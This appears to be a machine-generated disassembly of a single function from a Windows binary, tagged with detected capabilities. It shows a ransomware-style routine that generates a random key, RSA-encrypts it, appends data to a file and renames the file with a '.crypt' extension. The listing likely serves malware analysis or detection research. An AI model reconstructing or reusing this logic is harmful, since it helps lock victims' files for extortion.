Function at 0x1400189b0
Capabilities:
Create new key via cryptacquirecontext
Generate random numbers via winapi
Move file
Write file on windows

Disassembly:
push rbx
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x1b8
mov rax, qword [0x14009f100]
xor rax, rsp
mov qword [rsp + 0x1a0], rax
mov rbx, r9
mov rsi, r8
mov rdi, rdx
mov r15, rcx
mov qword [rsp + 0x60], r8
xor r12d, r12d
xorps xmm1, xmm1
movdqu xmmword [rsp + 0xb8], xmm1
mov qword [rsp + 0xc8], r12
mov ecx, 0x28
call fcn.140036860
mov qword [rsp + 0xb8], rax
lea rcx, [rax + 0x28]
mov qword [rsp + 0xc8], rcx
xorps xmm0, xmm0
xor edx, edx
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
mov qword [rax + 0x20], rdx
mov qword [rsp + 0xc0], rcx
mov qword [rsp + 0xd0], r12
mov dword [rsp + 0x20], 0xf0000000
mov r9d, 1
xor r8d, r8d
lea rcx, [rsp + 0xd0]
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x1400190ad
mov edx, dword [rsp + 0xc0]
mov r8, qword [rsp + 0xb8]
sub edx, r8d
mov rcx, qword [rsp + 0xd0]
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
xor edx, edx
mov rcx, qword [rsp + 0xd0]
test eax, eax
je 0x1400190cf
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rdx, qword [rsp + 0xb8]
lea r8, [rdx + 0x20]
lea rcx, [rsp + 0x110]
call fcn.140018220
mov qword [rsp + 0x190], 0x40
mov qword [rsp + 0x140], r12
lea rdx, [rsp + 0xb8]
mov rcx, rdi
call fcn.140033920
test al, al
je 0x140019085
mov rax, qword [rsp + 0xc0]
sub rax, qword [rsp + 0xb8]
cmp rax, 0x100
jne 0x140019085
mov qword [rsp + 0x20], rbx
mov r9, rsi
lea r8, [rsp + 0x110]
mov rcx, r15
call fcn.140034280
test al, al
je 0x140019005
xorps xmm0, xmm0
mov rax, qword [rsp + 0xc0]
sub rax, qword [rsp + 0xb8]
mov rdx, qword [0x14009fd80]
sub rax, rdx
mov r8, qword [0x14009fd88]
lea r14, [r8 + 8]
movdqu xmmword [rsp + 0xd8], xmm0
mov qword [rsp + 0xe8], r12
add r14, rax
je 0x140018ba6
movabs rax, 0x7fffffffffffffff
cmp r14, rax
ja 0x1400190fd
mov rdx, r14
lea rcx, [rsp + 0xd8]
call fcn.140012bd0
mov rcx, qword [rsp + 0xd8]
lea rdi, [rcx + r14]
mov r8, r14
xor edx, edx
call fcn.140060a10
mov qword [rsp + 0xe0], rdi
mov r8, qword [0x14009fd88]
mov rdx, qword [0x14009fd80]
sub r8, rdx
mov rcx, qword [rsp + 0xd8]
call fcn.1400602d0
mov r8, qword [rsp + 0xc0]
mov rdx, qword [rsp + 0xb8]
sub r8, rdx
mov rcx, qword [rsp + 0xd8]
sub rcx, qword [0x14009fd80]
add rcx, qword [0x14009fd88]
call fcn.1400602d0
mov rdx, qword [rsp + 0xc0]
sub rdx, qword [rsp + 0xb8]
sub rdx, qword [0x14009fd80]
add rdx, qword [rsp + 0xd8]
mov ecx, dword [0x14009fd50]
mov rax, qword [0x14009fd88]
mov dword [rdx + rax], ecx
mov rdx, qword [rsp + 0xc0]
sub rdx, qword [rsp + 0xb8]
sub rdx, qword [0x14009fd80]
add rdx, qword [rsp + 0xd8]
mov ecx, dword [0x14009fd54]
mov rax, qword [0x14009fd88]
mov dword [rdx + rax + 4], ecx
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x58], r12
mov dword [rsp + 0x50], ebx
shr rbx, 0x20
mov dword [rsp + 0x54], ebx
movups xmm0, xmmword [rsp + 0x40]
movups xmmword [rsp + 0xf0], xmm0
movups xmm1, xmmword [rsp + 0x50]
movups xmmword [rsp + 0x100], xmm1
mov r8d, dword [rsp + 0xe0]
mov rdx, qword [rsp + 0xd8]
sub r8d, edx
lea rax, [rsp + 0xf0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0xd0]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x140018f4e
mov rcx, qword [rsp + 0xe0]
sub rcx, qword [rsp + 0xd8]
mov eax, dword [rsp + 0xd0]
cmp rax, rcx
jne 0x140018f4e
mov rdx, rsi
cmp qword [rsi + 0x18], 7
jbe 0x140018cde
mov rdx, qword [rsi]
lea rcx, str.___Encrypted:__ls_n
call fcn.140001430
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x140018ed7
mov rcx, qword [rsi + 0x10]
mov rdx, qword [0x14009fda8]
movabs rax, 0x7ffffffffffffffe
sub rax, rcx
cmp rax, rdx
jb 0x140019103
mov r9, rsi
cmp qword [rsi + 0x18], 7
jbe 0x140018d29
mov r9, qword [rsi]
lea rax, str..crypt
cmp qword [0x14009fdb0], 7
cmova rax, qword [str..crypt]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x40]
call fcn.14001d3b0
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 7
cmova rdx, qword [rsp + 0x40]
mov rcx, rsi
cmp qword [rsi + 0x18], 7
jbe 0x140018d77
mov rcx, qword [rsi]
call qword [sym.imp.KERNEL32.dll_MoveFileW]
mov ebx, eax
mov rdx, qword [rsp + 0x58]
cmp rdx, 7
jbe 0x140018dc1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018dbc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140019108
call fcn.140036bb4
test ebx, ebx
jne 0x140018e38
lea rcx, [rsp + 0x40]
call fcn.140024930
cmp qword [rax + 0x18], 7
jbe 0x140018dd9
mov rax, qword [rax]
cmp qword [rsi + 0x18], 7
jbe 0x140018de3
mov rsi, qword [rsi]
mov r8, rax
mov rdx, rsi
lea rcx, str.____File_not_moved:__ls._Error:__ls_n
call fcn.140001430
mov rdx, qword [rsp + 0x58]
cmp rdx, 7
jbe 0x140018e38
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018e32
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001910e
call fcn.140036bb4
nop
mov rcx, qword [rsp + 0xd8]
test rcx, rcx
je 0x140018e8e
mov rdx, qword [rsp + 0xe8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018e75
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140019126
call fcn.140036bb4
xorps xmm0, xmm0
movdqu xmmword [rsp + 0xd8], xmm0
mov qword [rsp + 0xe8], r12
mov rcx, qword [rsp + 0xb8]
test rcx, rcx
je 0x140018ed0
mov rdx, qword [rsp + 0xc8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018ecb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140019114
call fcn.140036bb4
mov al, 1
jmp 0x140019064
lea rcx, [rsp + 0x40]
call fcn.140024930
cmp qword [rax + 0x18], 7
jbe 0x140018eeb
mov rax, qword [rax]
cmp qword [rsi + 0x18], 7
jbe 0x140018ef5
mov rsi, qword [rsi]
mov r8, rax
mov rdx, rsi
lea rcx, str.____Cant_close_file:__ls._Error:__ls_n
call fcn.140001430
mov rdx, qword [rsp + 0x58]
cmp rdx, 7
jbe 0x140018fc1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018fbb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001911a
jmp 0x140018fbb
lea rcx, [rsp + 0x40]
call fcn.140024930
cmp qword [rax + 0x18], 7
jbe 0x140018f62
mov rax, qword [rax]
cmp qword [rsi + 0x18], 7
jbe 0x140018f6c
mov rsi, qword [rsi]
mov r8, rax
mov rdx, rsi
lea rcx, str.____Information_not_writed_to_end_file:__ls._Error:__ls_n
call fcn.140001430
mov rdx, qword [rsp + 0x58]
cmp rdx, 7
jbe 0x140018fc1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018fbb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140019120
call fcn.140036bb4
nop
mov rcx, qword [rsp + 0xd8]
test rcx, rcx
je 0x14001901f
mov rdx, qword [rsp + 0xe8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018ffe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140019126
call fcn.140036bb4
jmp 0x14001901f
cmp qword [rsi + 0x18], 7
jbe 0x14001900f
mov rsi, qword [rsi]
mov rdx, rsi
lea rcx, str.____File_not_encrypted:__ls_n
call fcn.140001430
nop
mov rcx, qword [rsp + 0xb8]
test rcx, rcx
je 0x140019062
mov rdx, qword [rsp + 0xc8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001905c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001912c
call fcn.140036bb4
nop
xor al, al
mov rcx, qword [rsp + 0x1a0]
xor rcx, rsp
call fcn.140036840
add rsp, 0x1b8
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
ret
lea rdx, str.RSA_Encrypt_failed
lea rcx, [rsp + 0xa0]
call fcn.140001830
lea rdx, [0x14009ca50]
lea rcx, [rsp + 0xa0]
call fcn.1400387d0
lea rdx, str.CryptAcquireContext_failed
lea rcx, [rsp + 0x70]
call fcn.140001830
lea rdx, [0x14009ca50]
lea rcx, [rsp + 0x70]
call fcn.1400387d0
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
lea rdx, str.CryptGenRandom_failed
lea rcx, [rsp + 0x88]
call fcn.140001830
lea rdx, [0x14009ca50]
lea rcx, [rsp + 0x88]
call fcn.1400387d0
call fcn.140007460
nop
call fcn.140001720
call fcn.140046420
int3
call fcn.140046420
nop
call fcn.140046420
nop
call fcn.140046420
int3
call fcn.140046420
nop
call fcn.140046420
nop
call fcn.140046420
int3